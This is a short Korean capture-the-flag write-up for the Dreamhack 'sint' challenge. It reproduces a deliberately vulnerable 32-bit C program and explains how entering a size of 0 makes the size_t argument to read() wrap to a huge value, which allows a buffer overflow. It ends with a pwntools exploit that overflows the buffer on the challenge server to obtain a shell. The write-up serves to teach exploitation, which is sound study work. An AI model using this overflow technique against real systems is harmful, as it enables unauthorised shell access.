Index
문제
보호기법
nx가 걸려있고, 32bit 바이너리 파일이다.
sint.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
문제풀이
read 함수 원형
ssize_t read(int fides, void *buf, size_t nbytes);
read 함수의 마지막 인자로 사용되는 nbytes의 자료형을 보면 size_t 자료형이다.
이 자료형은 C언어에서 임의의 객체가 가질 수 있는 최대 크기를 나타낸다. 크기를 표현하는데 있어서 음수가 의미가 없으므로, 부호없는 정수(unsigned int)를 사용한다.
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
size의 크기는 0부터 256까지 입력이 가능하다.
read(0, buf, size - 1);
이후, size-1 만큼 buf에 데이터를 입력한다. 입력받은 size가 0이라면 read함수의 세번째 인자는 -1이 된다. 하지만 앞서 설명했듯이 size_t 자료형을 사용하기 때문에 32bit의 부호없는 정수 최대 크기인 4,294,967,295
로 될 것이다.
이후 버퍼를 터트리면 get_shell
함수가 실행되면서 셸을 얻을 수 있다.
익스플로잇 코드
from pwn import *
#p = process('./sint')
e = ELF('./sint')
p = remote('host3.dreamhack.games', 21300)
p.sendlineafter(b'Size: ', b'0')
p.sendlineafter(b'Data: ', b'a'*260)
p.interactive()
Uploaded by N2T